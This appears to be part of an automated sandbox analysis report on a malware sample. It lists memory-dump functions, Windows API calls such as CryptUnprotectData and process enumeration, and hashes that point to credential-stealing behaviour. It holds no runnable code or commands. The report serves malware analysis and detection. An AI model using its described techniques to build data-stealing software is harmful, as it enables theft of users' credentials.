Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: A~$E]]~$e,Y$kNWo$mCmi
API String ID: 0-275301365
Opcode ID: 78f9311134010d27747dc2a62b1bcf567df916eaf49fb0971fb875d818219cca
Instruction ID: a862eacb6059cc4af6cb27a0f6245b3f6839797513cebb2a74790d50276b5f7d
Opcode Fuzzy Hash: 78f9311134010d27747dc2a62b1bcf567df916eaf49fb0971fb875d818219cca
Instruction Fuzzy Hash: D1A204F36086049FE704AE2DEC8567AFBE5EF94720F1A493DEAC4C3344E63598158687

Function 0032C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0032C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0032C87C
lstrcat.KERNEL32(?,00340B46), ref: 0032C943
lstrcat.KERNEL32(?,00340B47), ref: 0032C957
lstrcat.KERNEL32(?,00340B4E), ref: 0032C978

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 98d8a18ecc64ea955157865bb871cf9fd4a373eab4d993a8bfcdd1908e431e4b
Instruction ID: 842a6e5adb78ea92c707e804efc93979c877127f9ce8c23ce833a91bd249867f
Opcode Fuzzy Hash: 98d8a18ecc64ea955157865bb871cf9fd4a373eab4d993a8bfcdd1908e431e4b
Instruction Fuzzy Hash: 2F4182B5D1421ADFDB10CFA4DD89BEEB7B8BB44304F1041A8E509B7280D7B0AA84DF91

Function 00336920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0033696C
sscanf.NTDLL ref: 00336999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003369B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003369C0
ExitProcess.KERNEL32 ref: 003369DA

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 4b72403d9358686883f554f9b6db281245c5c9953de9ea467ff95c23338f96d9
Instruction ID: 761cf08dee9438199729f1316dd890bae776898e358a6ddf7aa12a8e17863e3a
Opcode Fuzzy Hash: 4b72403d9358686883f554f9b6db281245c5c9953de9ea467ff95c23338f96d9
Instruction Fuzzy Hash: 1321EA75D10208AFCF04EFE8D985AEEB7B5BF48300F04852AE406B3250EB745609DBA5

Function 00327240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0032724D
RtlAllocateHeap.NTDLL(00000000), ref: 00327254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00327281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 003272A4
LocalFree.KERNEL32(?), ref: 003272AE

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 4b0f749bdceb93d93037002f526dd120d0c8bcde359aa7b956ee1233627005fe
Instruction ID: d44ac4df97f65aee4a14caf3c31647f3b7a4d9ed389f60302cdec2e36f322831
Opcode Fuzzy Hash: 4b0f749bdceb93d93037002f526dd120d0c8bcde359aa7b956ee1233627005fe
Instruction Fuzzy Hash: 72010CB5A40208BBEB14DFD8DD4AF9E77B8EB44B04F104558FB05BB2C0D6B0AA049B65

Function 00339600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0033961E
Process32First.KERNEL32(00340ACA,00000128), ref: 00339632
Process32Next.KERNEL32(00340ACA,00000128), ref: 00339647
StrCmpCA.SHLWAPI(?,00000000), ref: 0033965C
CloseHandle.KERNEL32(00340ACA), ref: 0033967A

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c27fb3dbd7f7736729af00e848c03560a759f7388f3615e52630a8301567ee1d
Instruction ID: 8556ba097904d07849ed6cb2f348c2a996b2d2abdf51a17f5967b1fa639024ca
Opcode Fuzzy Hash: c27fb3dbd7f7736729af00e848c03560a759f7388f3615e52630a8301567ee1d
Instruction Fuzzy Hash: 6F011E75A01208EBCB15DFA9CD89BEDB7F8EB58310F104189E909A7250DBB4AB44DF51

Function 006E15FD Relevance: 6.5, Strings: 4, Instructions: 1543COMMON

Download Yara Rule

Strings

(9m[, xrefs: 006E193C
jO, xrefs: 006E2704
jO, xrefs: 006E270F
G5M_, xrefs: 006E1884

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (9m[$G5M_$jO$jO
API String ID: 0-1708999616
Opcode ID: 78b24827a67af97f58d95914e59e3382eaf04f5421aeb389e60a4f5f9549ca7b
Instruction ID: e8de0409c9d04a7dc15fe009525d0c85869766837500f9cd161ea0ad4f154c0b
Opcode Fuzzy Hash: 78b24827a67af97f58d95914e59e3382eaf04f5421aeb389e60a4f5f9549ca7b
Instruction Fuzzy Hash: FCB2F4F3A0C3149FE304AE2DEC8566AFBE5EF94320F16493DEAC487744EA3558448697

Function 00338EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00325184,40000001,00000000,00000000,?,00325184), ref: 00338EC0

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 1114aea0993611446f386945d03ea0d1d115b83e28851bb2ffda7b7713833c23
Instruction ID: 8266e4b3ba2046bd052c1264e421985673b4c2a4f9565fcfa883b50e5d3d56a9
Opcode Fuzzy Hash: 1114aea0993611446f386945d03ea0d1d115b83e28851bb2ffda7b7713833c23
Instruction Fuzzy Hash: 5D11E574200309BFDB01CFA8E885FAB37A9AF89714F109558F9198B250DB75ED45EB60

Function 00337A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0109E5F0,00000000,?,00340E10,00000000,?,00000000,00000000), ref: 00337A63
RtlAllocateHeap.NTDLL(00000000), ref: 00337A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0109E5F0,00000000,?,00340E10,00000000,?,00000000,00000000,?), ref: 00337A7D
wsprintfA.USER32 ref: 00337AB7

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 1a45c6691eaae772dcf78ad1437dccb19e1613d8a0f38e8d37d449e09ce82338
Instruction ID: 48d137b320e62d306b2fec151bdcf6f30bd86d2e2fdc3b8e71455e82e33e307f
Opcode Fuzzy Hash: 1a45c6691eaae772dcf78ad1437dccb19e1613d8a0f38e8d37d449e09ce82338
Instruction Fuzzy Hash: AE1182B1D45218DBEB208B58DC45F99B778FB04711F104395E516A32D0C7745A44CF51

Function 006F2121 Relevance: 5.3, Strings: 3, Instructions: 1599COMMON

Download Yara Rule

Strings

e[z, xrefs: 006F2822
e3, xrefs: 006F2C8D
S9_{, xrefs: 006F277F

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: e3$S9_{$e[z
API String ID: 0-1062808939
Opcode ID: b9d106799fe2239887f3ec9a9751e1d14ebc57972001d9e2c8fa1a7b91ecb829
Instruction ID: d54a2e75efcc539f9fd6f6ae505dbe6773d6256c89cd85601ad54322ae9443d6
Opcode Fuzzy Hash: b9d106799fe2239887f3ec9a9751e1d14ebc57972001d9e2c8fa1a7b91ecb829
Instruction Fuzzy Hash: D9B216F3A0C2109FE3086E2DEC5577ABBE9EF94320F1A493DEAC5C3744E63558058696

Function 006EA3D9 Relevance: 4.7, Strings: 3, Instructions: 922COMMON

Download Yara Rule

Strings

BK, xrefs: 006EAC4D
\4FL, xrefs: 006EAB06
4@I<, xrefs: 006EAC5C

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4@I<$BK$\4FL
API String ID: 0-1039229860
Opcode ID: d20613acaa7a38e068f1d945d2b7f365e3ea64044493e82aec3a5d5c1bf3c248
Instruction ID: 757a361e175d871cbc515e6231264d3d71afbab6a1090ef6e9b7a01f43d62ae3
Opcode Fuzzy Hash: d20613acaa7a38e068f1d945d2b7f365e3ea64044493e82aec3a5d5c1bf3c248
Instruction Fuzzy Hash: 085238F360C204AFE7046E2DEC8567ABBE9EFD4320F16492DE6C4C7744EA3558018697

Function 00333720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0033E118,00000000,00000001,0033E108,00000000), ref: 00333758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 003337B0

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 7c791aecea633b4bd28298838a6212e9ad64ce594b5b2ea8c8d1c95202c48bd0
Instruction ID: a6c6b377487e842f2882ca38eceeb9f06a4a991f9dffc9d548a041bbf83c88ea
Opcode Fuzzy Hash: 7c791aecea633b4bd28298838a6212e9ad64ce594b5b2ea8c8d1c95202c48bd0
Instruction Fuzzy Hash: 4941C774A40A289FDB24DB58CC95FDBB7B5BB48702F4081D8E609AB2D0D7B16E85CF50

Function 00329B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00329B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00329BA3
LocalFree.KERNEL32(?), ref: 00329BD3

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 57795c5f50eb44f3c337fd64dc674bc4eac6cbf6d7cbe325275c90374242c6bc
Instruction ID: 68664292ec27834cb89f96bdb548b4a45a51587c0cbb889441206faba67daf1e
Opcode Fuzzy Hash: 57795c5f50eb44f3c337fd64dc674bc4eac6cbf6d7cbe325275c90374242c6bc
Instruction Fuzzy Hash: 2311CCB8A00209DFDB05DF98D989AAE77B5FF88300F104559F915A7350D774AE14CFA1

Function 006E65B9 Relevance: 4.0, Strings: 2, Instructions: 1550COMMON

Download Yara Rule

Strings

